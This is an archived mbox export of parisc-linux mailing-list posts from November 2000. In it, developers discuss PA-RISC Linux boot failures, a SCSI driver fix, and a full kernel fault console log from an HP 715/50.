Hi Grant,

Grant Grundler wrote:

> > lp0: using parport0 (interrupt-driven).
> Are you sure you left out parallel port support?
Yes, I am. I just attached the wrong log. Except the lp0 line, there are no
differences...

> > IASQ: 00000000 00000000 IAOQ: c029c264 c029c268
> >  IIR: 0e681096    ISR: 00000000  IOR: 00000004
> > ORIG_R28: 00000000
> Smells like a driver bug.
> Can you look up IOAQ and GR2 (c029c264 and c029c248) in System.map file?
Of course.
The only problem is, there is no such entry in
/usr/src/pa-risc/sourcE/linux/System.map .

Any ideas?

 andreas


From - Thu Nov 08 21:14:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] dino maintainer?
Date: Wed, 15 Nov 2000 22:19:29 +0000
Lines: 8
Approved: news@gmane.org
Message-ID: <20001115221929.Q32715@linuxcare.com>
References: <20001114101704.Y32715@linuxcare.com> <200011141610.IAA11646@milano.cup.hp.com> <20001115095835.I32715@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619296 6316 80.91.229.3 (22 Nov 2014 01:21:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:36 +0000 (UTC)
To: parisc-linux@puffin.external.hp.com
Original-X-From: rhirst@linuxcare.com  Wed Nov 15 15:19:55 2000
Original-Received: from rhirst.linuxcare.com (sleepie.demon.co.uk [194.222.23.208])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id PAA06456
	for <parisc-linux@puffin.external.hp.com>; Wed, 15 Nov 2000 15:19:52 -0700
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 26B45B007; Wed, 15 Nov 2000 22:19:29 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <20001115095835.I32715@linuxcare.com>; from rhirst@linuxcare.com on Wed, Nov 15, 2000 at 09:58:35AM +0000
Xref: news.gmane.org gmane.linux.ports.parisc:8468

On Wed, Nov 15, 2000 at 09:58:35AM +0000, Richard Hirst wrote:
> But Helge has problems with the sym53c8xx driver on a B160L.  Is

Turned out to be a 53c720, driven via Zalon and the ncr53c8xx driver.
Driver worked as a module, but not compiled in.  Now fixed.

Richard


From - Thu Nov 08 21:14:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Robert Duncan" <rlduncan@nortelnetworks.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] CD-ROM 715/50 boot dies after serial driver...
Date: Wed, 15 Nov 2000 17:28:13 -0500
Lines: 415
Approved: news@gmane.org
Message-ID: <5956ED8F0362D111B32F0000F881B6EB0600438E@nrtpde0c.us.nortel.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01C04F53.576F0F70"
X-Trace: ger.gmane.org 1416619297 6320 80.91.229.3 (22 Nov 2014 01:21:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:37 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: rlduncan@nortelnetworks.com  Wed Nov 15 15:30:04 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA06888
	for <parisc-linux@puffin.external.hp.com>; Wed, 15 Nov 2000 15:30:03 -0700
Original-Received: (qmail 21617 invoked by uid 15267); 15 Nov 2000 22:31:18 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 21603 invoked from network); 15 Nov 2000 22:31:18 -0000
Original-Received: from unknown (HELO zrtps06s.us.nortel.com) (47.140.48.50)
  by mailserv2.iuinc.com with SMTP; 15 Nov 2000 22:31:18 -0000
Original-Received: from zrtpd00y.us.nortel.com by zrtps06s.us.nortel.com;
          Wed, 15 Nov 2000 17:28:27 -0500
Original-Received: by zrtpd00y.us.nortel.com with Internet Mail Service (5.5.2652.35) 
          id <W849CLS4>; Wed, 15 Nov 2000 17:28:26 -0500
X-Mailer: Internet Mail Service (5.5.2652.35)
X-Orig: <rlduncan@americasm01.nt.com>
Xref: news.gmane.org gmane.linux.ports.parisc:8469

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C04F53.576F0F70
Content-Type: text/plain;
	charset="iso-8859-1"

Greetings,
I have downloaded the .5 Beta CDROM image, burned it and get a "fault in
kernel" after the "Serial driver ... enabled" message when booting on my
715/50.  This happens with either graphics or serial console configured in
NVRAM.

Has anyone else seen this error?

----------------begin console output
              (c) Copyright Hewlett-Packard Company, 1991, 1992
Portions of this code are (c) Copyright Samsung Electronics Co., Ltd, 91, 92


PDC ROM rev. 1.2
IODC ROM rev. 1.1
64 MB of memory have been configured.


Selecting a system to boot.
To stop selection process, press and hold the ESCAPE key.....

Booting from:     scsi.6.0     TOSHIBA CD-ROM XM-3501TA

Soft booted.
palo ipl bame@noam Tue Oct 31 14:18:02 MST 2000
0/vmlinux 2140145 bytes @ 0x6f9800
0/palo-cmdline '0/vmlinux ROOT=/ TERM=LINUX root=/dev/scd0'
Kernel: partition 0 file /vmlinux
ELF32 executable

Entry 00100150 first 00100000 n 4
Segment 0 load 00100000 size 1460344 mediaptr 0x1000
Segment 1 load 00266000 size 179048 mediaptr 0x166000
Segment 2 load 00294000 size 109876 mediaptr 0x192000
Segment 3 load 002b0000 size 8192 mediaptr 0x1ad000
branching to kernel entry point 0x00100150
PDC Console Initialized
The 32-bit Kernel has started...
Enabled FP coprocessor
Free memory starts at: 0xc02da000
(0x504d6c,0x504d6c,0x0,0x0)
PALO command line: 'ROOT=/ TERM=LINUX root=/dev/scd0'
PALO initrd 0-0
model   00003100 00000481 00000000 00000000 77a94524 ffffffff 00000004
0000000a 0000000a
vers    00000009
CPUID vers 0 rev 0
Searching for devices in PDC firmware... processor hpa 0xfffbe000
 an older box...
Found devices:
1. Stinger Optional Graphics (10) at 0xf4000000, versions 0x6, 0x0, 0x77,
0x0, 0x0
2. Scorpio Core BA (11) at 0xf082f000, versions 0x7, 0x0, 0x70, 0x0, 0x0
3. Scorpio Core SCSI (10) at 0xf0825000, versions 0x7, 0x0, 0x71, 0x0, 0x0
4. Scorpio Core LAN (802.3) (10) at 0xf0826000, versions 0x7, 0x0, 0x72,
0x0, 0x0
5. Scorpio Core HIL (10) at 0xf0821000, versions 0x7, 0x0, 0x73, 0x0, 0x0
6. Scorpio Core RS-232 (10) at 0xf0823000, versions 0x7, 0x0, 0x75, 0x0, 0x0
7. Scorpio Core RS-232 (10) at 0xf0822000, versions 0x7, 0x0, 0x75, 0x0, 0x0
8. Scorpio Core Centronics (10) at 0xf0824000, versions 0x7, 0x0, 0x74, 0x0,
0x0
9. Scorpio Audio (10) at 0xf1000000, versions 0x7, 0x0, 0x7b, 0x0, 0x0
10. Scorpio EISA BA (11) at 0xfc000000, versions 0x7, 0x0, 0x76, 0x0, 0x0
11. Scorpio (715/50) (0) at 0xfffbe000, versions 0x310, 0x0, 0x4, 0x0, 0x81
12. Scorpio (1) at 0xfffbf000, versions 0x17, 0x0, 0x9, 0x0, 0x0
That's a total of 12 devices.
CPU(s): 1 x PA7100 (PCX-T) at 50.000000 MHz
Linux version 2.4.0-test6 (pjlahaie@elenuial.thepuffingroup.com) (gcc
version 2.96 20000925 (experimental)) #32 Mon Nov 6 10:20:58 EST 2000
free_bootmem(0x2da800, 0x3d25800)
initrd: 00000000-00000000
pagetable_init
On node 0 totalpages: 16384
zone(0): 8192 pages.
zone(1): 8192 pages.
zone(2): 0 pages.
Kernel command line: ROOT=/ TERM=LINUX root=/dev/scd0
trap_init
Calibrating delay loop... 49.77 BogoMIPS
Memory: 61388k available
Dentry-cache hash table entries: 8192 (order: 4, 65536 bytes)
Buffer-cache hash table entries: 4096 (order: 2, 16384 bytes)
Page-cache hash table entries: 16384 (order: 4, 65536 bytes)
Inode-cache hash table entries: 4096 (order: 3, 32768 bytes)
POSIX conformance testing by UNIFIX
ASP version 1 at 0xf0800000 found.
Found i82596 at 0xf0826000, IRQ 87
early initialization of device eth0 is deferred
Found HIL at 0xf0821000, IRQ 94
HIL: no keyboard present.
Warning : device (10, 0x7, 0x0, 0x73, 0x0) NOT claimed by HIL 712, 715 or
similiar
Linux NET4.0 for Linux 2.4
Based upon Swansea University Computer Society NET3.039
NET4: Unix domain sockets 1.0/SMP for Linux NET4.0.
NET4: Linux TCP/IP 1.0 for NET4.0
IP Protocols: ICMP, UDP, TCP
IP: routing cache hash table of 512 buckets, 4Kbytes
TCP: Hash tables configured (established 4096 bind 4096)
Starting kswapd v1.7
pty: 256 Unix98 ptys configured
lp: driver loaded but no devices found
RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize
sim700: Couldn't get consistent shared memory
sim700: Configuring 53c700 (SCSI-ID 7) at f0825100, IRQ 86
scsi0: Revision 0x0
Post test1, istat 05, sstat0 00, dstat 84
sim700: WARNING IRQ probe failed, (returned 0)
scsi0: WARNING: target data areas are not dma coherent!
scsi0: test 1 completed ok.
scsi0: sim700_intr_handle() called with no interrupt
scsi0 : LASI/Simple 53c7xx
scsi : 1 host.
  Vendor: TOSHIBA   Model: CD-ROM XM-3501TA  Rev: 3054
  Type:   CD-ROM                             ANSI SCSI revision: 02
Detected scsi CD-ROM sr0 at scsi0, channel 0, id 6, lun 0
scsi : detected 1 SCSI cdrom total.
Uniform CD-ROM driver Revision: 3.11
82596.c: MAC of HP700 LAN blindely read from the prom!
eth0: Couldn't get consistent shared memory
eth0: 82596 at 0xf0826000, 08 00 09 42 1B 37 IRQ 87.
82596.c $Revision: 1.14 $
Serial driver version 5.01 (2000-05-29) with MANY_PORTS SHARE_IRQ SERIAL_PCI
enabled

Dumping Stack from c3fc4000 to c3fc4bc0:
4000 00000000 00000140 00000000 00000000 c027a46c 00000001 00000000 ffffffff
4020 00000000 00000000 00000000 00000000 00000000 00000000 ffffffff c027a384
 [...]
4ba0 ffffffff bffff5ff ffffff7f c01046e0 ffffbeff f7b7eddf 5fffffdf feefffff

Data access rights fault in kernel: Code=26 regs=c3fc4980 (Addr=00000003)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001000000000000001010
r0-3     00000000 c0221800 c011e9f8 c3fce420
r4-7     c3fce200 c0244f10 00000008 f0823800
r8-11    00000003 00000007 c0191568 c02c60a4
r12-15   fffffffc c0245000 c0245000 c02d72b8
r16-19   c0245000 c0245000 c02c6028 00000000
r20-23   c3fce234 f0823807 f0823800 0000000a
r24-27   ffffffff c3fce420 c3fce200 c0266000
r28-31   ffffffff 00000240 c3fc4bc0 c012dfc0
sr0-4    00000000 00000000 00000000 00000000
sr4-8    00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: c011e710 c011e714
 IIR: 0f881093    ISR: 00000000  IOR: 00000003
ORIG_R28: 00000058

----------------end console output

thanks,
Robert Duncan
Nortelnetworks

------_=_NextPart_001_01C04F53.576F0F70
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2652.35">
<TITLE>CD-ROM 715/50 boot dies after serial driver...</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2>Greetings,</FONT>
<BR><FONT SIZE=3D2>I have downloaded the .5 Beta CDROM image, burned it =
and get a &quot;fault in kernel&quot; after the &quot;Serial driver ... =
enabled&quot; message when booting on my 715/50.&nbsp; This happens =
with either graphics or serial console configured in NVRAM.</FONT></P>

<P><FONT SIZE=3D2>Has anyone else seen this error?</FONT>
</P>

<P><FONT SIZE=3D2>----------------begin console output</FONT>
<BR><FONT =
SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp; (c) Copyright Hewlett-Packard Company, 1991, =
1992</FONT>
<BR><FONT SIZE=3D2>Portions of this code are (c) Copyright Samsung =
Electronics Co., Ltd, 91, 92 </FONT>
</P>

<P><FONT SIZE=3D2>PDC ROM rev. 1.2</FONT>
<BR><FONT SIZE=3D2>IODC ROM rev. 1.1</FONT>
<BR><FONT SIZE=3D2>64 MB of memory have been configured.</FONT>
</P>
<BR>

<P><FONT SIZE=3D2>Selecting a system to boot.</FONT>
<BR><FONT SIZE=3D2>To stop selection process, press and hold the ESCAPE =
key.....</FONT>
</P>

<P><FONT SIZE=3D2>Booting from:&nbsp;&nbsp;&nbsp;&nbsp; =
scsi.6.0&nbsp;&nbsp;&nbsp;&nbsp; TOSHIBA CD-ROM XM-3501TA</FONT>
</P>

<P><FONT SIZE=3D2>Soft booted.</FONT>
<BR><FONT SIZE=3D2>palo ipl bame@noam Tue Oct 31 14:18:02 MST =
2000</FONT>
<BR><FONT SIZE=3D2>0/vmlinux 2140145 bytes @ 0x6f9800</FONT>
<BR><FONT SIZE=3D2>0/palo-cmdline '0/vmlinux ROOT=3D/ TERM=3DLINUX =
root=3D/dev/scd0'</FONT>
<BR><FONT SIZE=3D2>Kernel: partition 0 file /vmlinux</FONT>
<BR><FONT SIZE=3D2>ELF32 executable</FONT>
</P>

<P><FONT SIZE=3D2>Entry 00100150 first 00100000 n 4</FONT>
<BR><FONT SIZE=3D2>Segment 0 load 00100000 size 1460344 mediaptr =
0x1000</FONT>
<BR><FONT SIZE=3D2>Segment 1 load 00266000 size 179048 mediaptr =
0x166000</FONT>
<BR><FONT SIZE=3D2>Segment 2 load 00294000 size 109876 mediaptr =
0x192000</FONT>
<BR><FONT SIZE=3D2>Segment 3 load 002b0000 size 8192 mediaptr =
0x1ad000</FONT>
<BR><FONT SIZE=3D2>branching to kernel entry point 0x00100150</FONT>
<BR><FONT SIZE=3D2>PDC Console Initialized</FONT>
<BR><FONT SIZE=3D2>The 32-bit Kernel has started...</FONT>
<BR><FONT SIZE=3D2>Enabled FP coprocessor</FONT>
<BR><FONT SIZE=3D2>Free memory starts at: 0xc02da000</FONT>
<BR><FONT SIZE=3D2>(0x504d6c,0x504d6c,0x0,0x0)</FONT>
<BR><FONT SIZE=3D2>PALO command line: 'ROOT=3D/ TERM=3DLINUX =
root=3D/dev/scd0'</FONT>
<BR><FONT SIZE=3D2>PALO initrd 0-0</FONT>
<BR><FONT SIZE=3D2>model&nbsp;&nbsp; 00003100 00000481 00000000 =
00000000 77a94524 ffffffff 00000004 0000000a 0000000a</FONT>
<BR><FONT SIZE=3D2>vers&nbsp;&nbsp;&nbsp; 00000009</FONT>
<BR><FONT SIZE=3D2>CPUID vers 0 rev 0</FONT>
<BR><FONT SIZE=3D2>Searching for devices in PDC firmware... processor =
hpa 0xfffbe000</FONT>
<BR><FONT SIZE=3D2>&nbsp;an older box...</FONT>
<BR><FONT SIZE=3D2>Found devices:</FONT>
<BR><FONT SIZE=3D2>1. Stinger Optional Graphics (10) at 0xf4000000, =
versions 0x6, 0x0, 0x77, 0x0, 0x0</FONT>
<BR><FONT SIZE=3D2>2. Scorpio Core BA (11) at 0xf082f000, versions 0x7, =
0x0, 0x70, 0x0, 0x0</FONT>
<BR><FONT SIZE=3D2>3. Scorpio Core SCSI (10) at 0xf0825000, versions =
0x7, 0x0, 0x71, 0x0, 0x0</FONT>
<BR><FONT SIZE=3D2>4. Scorpio Core LAN (802.3) (10) at 0xf0826000, =
versions 0x7, 0x0, 0x72, 0x0, 0x0</FONT>
<BR><FONT SIZE=3D2>5. Scorpio Core HIL (10) at 0xf0821000, versions =
0x7, 0x0, 0x73, 0x0, 0x0</FONT>
<BR><FONT SIZE=3D2>6. Scorpio Core RS-232 (10) at 0xf0823000, versions =
0x7, 0x0, 0x75, 0x0, 0x0</FONT>
<BR><FONT SIZE=3D2>7. Scorpio Core RS-232 (10) at 0xf0822000, versions =
0x7, 0x0, 0x75, 0x0, 0x0</FONT>
<BR><FONT SIZE=3D2>8. Scorpio Core Centronics (10) at 0xf0824000, =
versions 0x7, 0x0, 0x74, 0x0, 0x0</FONT>
<BR><FONT SIZE=3D2>9. Scorpio Audio (10) at 0xf1000000, versions 0x7, =
0x0, 0x7b, 0x0, 0x0</FONT>
<BR><FONT SIZE=3D2>10. Scorpio EISA BA (11) at 0xfc000000, versions =
0x7, 0x0, 0x76, 0x0, 0x0</FONT>
<BR><FONT SIZE=3D2>11. Scorpio (715/50) (0) at 0xfffbe000, versions =
0x310, 0x0, 0x4, 0x0, 0x81</FONT>
<BR><FONT SIZE=3D2>12. Scorpio (1) at 0xfffbf000, versions 0x17, 0x0, =
0x9, 0x0, 0x0</FONT>
<BR><FONT SIZE=3D2>That's a total of 12 devices.</FONT>
<BR><FONT SIZE=3D2>CPU(s): 1 x PA7100 (PCX-T) at 50.000000 MHz</FONT>
<BR><FONT SIZE=3D2>Linux version 2.4.0-test6 =
(pjlahaie@elenuial.thepuffingroup.com) (gcc version 2.96 20000925 =
(experimental)) #32 Mon Nov 6 10:20:58 EST 2000</FONT></P>

<P><FONT SIZE=3D2>free_bootmem(0x2da800, 0x3d25800)</FONT>
<BR><FONT SIZE=3D2>initrd: 00000000-00000000</FONT>
<BR><FONT SIZE=3D2>pagetable_init</FONT>
<BR><FONT SIZE=3D2>On node 0 totalpages: 16384</FONT>
<BR><FONT SIZE=3D2>zone(0): 8192 pages.</FONT>
<BR><FONT SIZE=3D2>zone(1): 8192 pages.</FONT>
<BR><FONT SIZE=3D2>zone(2): 0 pages.</FONT>
<BR><FONT SIZE=3D2>Kernel command line: ROOT=3D/ TERM=3DLINUX =
root=3D/dev/scd0</FONT>
<BR><FONT SIZE=3D2>trap_init</FONT>
<BR><FONT SIZE=3D2>Calibrating delay loop... 49.77 BogoMIPS</FONT>
<BR><FONT SIZE=3D2>Memory: 61388k available</FONT>
<BR><FONT SIZE=3D2>Dentry-cache hash table entries: 8192 (order: 4, =
65536 bytes)</FONT>
<BR><FONT SIZE=3D2>Buffer-cache hash table entries: 4096 (order: 2, =
16384 bytes)</FONT>
<BR><FONT SIZE=3D2>Page-cache hash table entries: 16384 (order: 4, =
65536 bytes)</FONT>
<BR><FONT SIZE=3D2>Inode-cache hash table entries: 4096 (order: 3, =
32768 bytes)</FONT>
<BR><FONT SIZE=3D2>POSIX conformance testing by UNIFIX</FONT>
<BR><FONT SIZE=3D2>ASP version 1 at 0xf0800000 found.</FONT>
<BR><FONT SIZE=3D2>Found i82596 at 0xf0826000, IRQ 87</FONT>
<BR><FONT SIZE=3D2>early initialization of device eth0 is =
deferred</FONT>
<BR><FONT SIZE=3D2>Found HIL at 0xf0821000, IRQ 94</FONT>
<BR><FONT SIZE=3D2>HIL: no keyboard present.</FONT>
<BR><FONT SIZE=3D2>Warning : device (10, 0x7, 0x0, 0x73, 0x0) NOT =
claimed by HIL 712, 715 or similiar</FONT>
<BR><FONT SIZE=3D2>Linux NET4.0 for Linux 2.4</FONT>
<BR><FONT SIZE=3D2>Based upon Swansea University Computer Society =
NET3.039</FONT>
<BR><FONT SIZE=3D2>NET4: Unix domain sockets 1.0/SMP for Linux =
NET4.0.</FONT>
<BR><FONT SIZE=3D2>NET4: Linux TCP/IP 1.0 for NET4.0</FONT>
<BR><FONT SIZE=3D2>IP Protocols: ICMP, UDP, TCP</FONT>
<BR><FONT SIZE=3D2>IP: routing cache hash table of 512 buckets, =
4Kbytes</FONT>
<BR><FONT SIZE=3D2>TCP: Hash tables configured (established 4096 bind =
4096)</FONT>
<BR><FONT SIZE=3D2>Starting kswapd v1.7</FONT>
<BR><FONT SIZE=3D2>pty: 256 Unix98 ptys configured</FONT>
<BR><FONT SIZE=3D2>lp: driver loaded but no devices found</FONT>
<BR><FONT SIZE=3D2>RAMDISK driver initialized: 16 RAM disks of 4096K =
size 1024 blocksize</FONT>
<BR><FONT SIZE=3D2>sim700: Couldn't get consistent shared memory</FONT>
<BR><FONT SIZE=3D2>sim700: Configuring 53c700 (SCSI-ID 7) at f0825100, =
IRQ 86</FONT>
<BR><FONT SIZE=3D2>scsi0: Revision 0x0</FONT>
<BR><FONT SIZE=3D2>Post test1, istat 05, sstat0 00, dstat 84</FONT>
<BR><FONT SIZE=3D2>sim700: WARNING IRQ probe failed, (returned =
0)</FONT>
<BR><FONT SIZE=3D2>scsi0: WARNING: target data areas are not dma =
coherent!</FONT>
<BR><FONT SIZE=3D2>scsi0: test 1 completed ok.</FONT>
<BR><FONT SIZE=3D2>scsi0: sim700_intr_handle() called with no =
interrupt</FONT>
<BR><FONT SIZE=3D2>scsi0 : LASI/Simple 53c7xx</FONT>
<BR><FONT SIZE=3D2>scsi : 1 host.</FONT>
<BR><FONT SIZE=3D2>&nbsp; Vendor: TOSHIBA&nbsp;&nbsp; Model: CD-ROM =
XM-3501TA&nbsp; Rev: 3054</FONT>
<BR><FONT SIZE=3D2>&nbsp; Type:&nbsp;&nbsp; =
CD-ROM&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ANSI SCSI revision: 02</FONT>
<BR><FONT SIZE=3D2>Detected scsi CD-ROM sr0 at scsi0, channel 0, id 6, =
lun 0</FONT>
<BR><FONT SIZE=3D2>scsi : detected 1 SCSI cdrom total.</FONT>
<BR><FONT SIZE=3D2>Uniform CD-ROM driver Revision: 3.11</FONT>
<BR><FONT SIZE=3D2>82596.c: MAC of HP700 LAN blindely read from the =
prom!</FONT>
<BR><FONT SIZE=3D2>eth0: Couldn't get consistent shared memory</FONT>
<BR><FONT SIZE=3D2>eth0: 82596 at 0xf0826000, 08 00 09 42 1B 37 IRQ =
87.</FONT>
<BR><FONT SIZE=3D2>82596.c $Revision: 1.14 $</FONT>
<BR><FONT SIZE=3D2>Serial driver version 5.01 (2000-05-29) with =
MANY_PORTS SHARE_IRQ SERIAL_PCI enabled</FONT>
</P>

<P><FONT SIZE=3D2>Dumping Stack from c3fc4000 to c3fc4bc0:</FONT>
<BR><FONT SIZE=3D2>4000 00000000 00000140 00000000 00000000 c027a46c =
00000001 00000000 ffffffff</FONT>
<BR><FONT SIZE=3D2>4020 00000000 00000000 00000000 00000000 00000000 =
00000000 ffffffff c027a384</FONT>
<BR><FONT SIZE=3D2>&nbsp;[...]</FONT>
<BR><FONT SIZE=3D2>4ba0 ffffffff bffff5ff ffffff7f c01046e0 ffffbeff =
f7b7eddf 5fffffdf feefffff</FONT>
</P>

<P><FONT SIZE=3D2>Data access rights fault in kernel: Code=3D26 =
regs=3Dc3fc4980 (Addr=3D00000003)</FONT>
</P>

<P><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp; =
YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI</FONT>
<BR><FONT SIZE=3D2>PSW: 00000000000001000000000000001010</FONT>
<BR><FONT SIZE=3D2>r0-3&nbsp;&nbsp;&nbsp;&nbsp; 00000000 c0221800 =
c011e9f8 c3fce420</FONT>
<BR><FONT SIZE=3D2>r4-7&nbsp;&nbsp;&nbsp;&nbsp; c3fce200 c0244f10 =
00000008 f0823800</FONT>
<BR><FONT SIZE=3D2>r8-11&nbsp;&nbsp;&nbsp; 00000003 00000007 c0191568 =
c02c60a4</FONT>
<BR><FONT SIZE=3D2>r12-15&nbsp;&nbsp; fffffffc c0245000 c0245000 =
c02d72b8</FONT>
<BR><FONT SIZE=3D2>r16-19&nbsp;&nbsp; c0245000 c0245000 c02c6028 =
00000000</FONT>
<BR><FONT SIZE=3D2>r20-23&nbsp;&nbsp; c3fce234 f0823807 f0823800 =
0000000a</FONT>
<BR><FONT SIZE=3D2>r24-27&nbsp;&nbsp; ffffffff c3fce420 c3fce200 =
c0266000</FONT>
<BR><FONT SIZE=3D2>r28-31&nbsp;&nbsp; ffffffff 00000240 c3fc4bc0 =
c012dfc0</FONT>
<BR><FONT SIZE=3D2>sr0-4&nbsp;&nbsp;&nbsp; 00000000 00000000 00000000 =
00000000</FONT>
<BR><FONT SIZE=3D2>sr4-8&nbsp;&nbsp;&nbsp; 00000000 00000000 00000000 =
00000000</FONT>
</P>

<P><FONT SIZE=3D2>IASQ: 00000000 00000000 IAOQ: c011e710 =
c011e714</FONT>
<BR><FONT SIZE=3D2>&nbsp;IIR: 0f881093&nbsp;&nbsp;&nbsp; ISR: =
00000000&nbsp; IOR: 00000003</FONT>
<BR><FONT SIZE=3D2>ORIG_R28: 00000058</FONT>
</P>

<P><FONT SIZE=3D2>----------------end console output</FONT>
</P>

<P><FONT SIZE=3D2>thanks,</FONT>
<BR><FONT SIZE=3D2>Robert Duncan</FONT>
<BR><FONT SIZE=3D2>Nortelnetworks</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C04F53.576F0F70--


From - Thu Nov 08 21:14:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] CD-ROM 715/50 boot dies after serial driver...
Date: Wed, 15 Nov 2000 22:35:40 +0000
Lines: 14
Approved: news@gmane.org
Message-ID: <20001115223540.R32715@linuxcare.com>
References: <5956ED8F0362D111B32F0000F881B6EB0600438E@nrtpde0c.us.nortel.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619297 6322 80.91.229.3 (22 Nov 2014 01:21:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:37 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Robert Duncan <rlduncan@nortelnetworks.com>
Original-X-From: rhirst@linuxcare.com  Wed Nov 15 15:36:01 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA07397
	for <parisc-linux@puffin.external.hp.com>; Wed, 15 Nov 2000 15:36:00 -0700
Original-Received: (qmail 30944 invoked by uid 15267); 15 Nov 2000 22:38:05 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 30910 invoked from network); 15 Nov 2000 22:38:04 -0000
Original-Received: from sleepie.demon.co.uk (HELO rhirst.linuxcare.com) (194.222.23.208)
  by mailserv2.iuinc.com with SMTP; 15 Nov 2000 22:38:04 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 15941B007; Wed, 15 Nov 2000 22:35:40 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <5956ED8F0362D111B32F0000F881B6EB0600438E@nrtpde0c.us.nortel.com>; from rlduncan@nortelnetworks.com on Wed, Nov 15, 2000 at 05:28:13PM -0500
Xref: news.gmane.org gmane.linux.ports.parisc:8470

On Wed, Nov 15, 2000 at 05:28:13PM -0500, Robert Duncan wrote:
> Greetings,
> I have downloaded the .5 Beta CDROM image, burned it and get a "fault in
> kernel" after the "Serial driver ... enabled" message when booting on my
> 715/50.  This happens with either graphics or serial console configured in
> NVRAM.
> 
> Has anyone else seen this error?

I get exactly the same on my 715/75.  Havn't had time to investigate
yet.

Richard


From - Thu Nov 08 21:14:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andreas Thienemann <andreas@bawue.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 250/1 doesn't boot but dumps stack
Date: Thu, 16 Nov 2000 23:42:35 +0100
Organization: IXS
Lines: 16
Approved: news@gmane.org
Message-ID: <3A1462DB.FE4D61CA@bawue.de>
References: <200011151923.LAA13597@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619297 6326 80.91.229.3 (22 Nov 2014 01:21:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:37 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: andreas@bawue.de  Wed Nov 15 15:36:46 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA07666
	for <parisc-linux@puffin.external.hp.com>; Wed, 15 Nov 2000 15:36:45 -0700
Original-Received: (qmail 31999 invoked by uid 15267); 15 Nov 2000 22:38:50 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31992 invoked from network); 15 Nov 2000 22:38:50 -0000
Original-Received: from bender.bawue.de (193.197.13.1)
  by mailserv2.iuinc.com with SMTP; 15 Nov 2000 22:38:50 -0000
